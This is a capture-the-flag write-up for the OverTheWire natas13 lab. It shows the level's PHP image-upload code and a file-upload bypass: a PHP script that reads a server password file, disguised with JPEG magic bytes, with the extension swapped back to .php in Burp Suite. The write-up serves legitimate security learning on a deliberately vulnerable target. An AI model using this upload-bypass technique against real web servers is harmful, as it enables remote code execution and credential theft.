Upload Vulnerability --- Write up for natas13
Problem: upload a JPEG file to find the password of natas14
Tool: Burp Suite, Bless
the url of this problem is 'http://natas12.natas.labs.overthewire.org/'Upload Vulnerability:
Upload PHP instead of the JPEG file, the file will execute in the server.
Step 1: view the source code
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
'exif_imagetype()' reads the first bytes of an image and checks its signature.
The server changed the upload file's extension as 'jpg' to avoid our file executing, but it is very easy to bypass this.😜
Step 2: write PHP code.
This time, we are going to look for the password of natas14, our PHP code is going to read the file in '/etc/natas_webpass/natas14'
<?php
$myfile = fopen("/etc/natas_webpass/natas14", "r") or die("Unable to open file!"); echo fread($myfile,filesize("/etc/natas_webpass/natas14")); fclose($myfile);
?>
Step 3: modify the file signature as 'jpg'
The file signature of 'jpg' is 'FF D8 FF E0'
We are going to use 'bless' to add these bytes at the first of the file.
Because the browser will change the extension to 'jpg', we are going to change it back to 'php' before we send the request.
Burp Suite is a good tool to intercept the request and before forwarding.
Set the proxy in our browser :
Step 5: Upload file and change the request
choose our php file, then click 'upload' to send a request.
Modify the request in Burp Suite, then forward it.
Click it to redirect to the page, it shows the code in the file have read the password for us.